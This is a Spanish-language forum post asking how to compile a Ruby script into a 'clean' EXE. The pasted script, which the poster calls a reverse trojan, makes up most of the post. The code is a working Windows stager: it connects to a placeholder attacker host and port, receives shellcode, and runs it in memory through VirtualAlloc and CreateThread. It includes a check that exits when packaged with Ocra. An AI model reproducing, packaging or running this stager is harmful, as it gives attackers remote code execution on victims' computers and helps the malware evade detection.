Duda Sobre Script en Ruby!
Publicado: 06 Abr 2015, 20:49
Hace ya algún tiempo que estoy estudiando este lenguaje. Y la verdad me gustaría saber si es posible compilar un EXE limpio DesdeRuby.
Si es Posible entonces que gemas debo agregar para poder compilar o combertir el Script a Exe.
Aqui dejo el Codigo del Script es un Troyano Inverso!
Si es Posible entonces que gemas debo agregar para poder compilar o combertir el Script a Exe.
Aqui dejo el Codigo del Script es un Troyano Inverso!
require 'rubygems';require 'win32/api';require 'socket';include Win32
exit if Object.const_defined?(:Ocra)
$v = API.new('VirtualAlloc', 'IIII', 'I');$r = API.new('RtlMoveMemory', 'IPI', 'V');$c = API.new('CreateThread', 'IIIIIP', 'I');$w = API.new('WaitForSingleObject', 'II', 'I')
$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')
def g(ip,port)
begin
s = TCPSocket.open(ip, port)
pl = Integer(s.recv(4).unpack('L')[0])
p = " "
while p.length < pl
p += s.recv(pl) end
p[0] = ['BF'].pack("H*")
sd = $g_o.call(s.fileno)
for i in 1..4
p[i] = Array(sd).pack('V')[i-1] end
return p
rescue
return ""
end
end
def ij(sc)
if sc.length > 1000
pt = $v.call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)
x = $r.call(pt,sc,sc.length)
x = $w.call($c.call(0,0,pt,0,0,0),0xFFFFFFF)
end
end
ij(g("SERVERIP",SERVERPORT))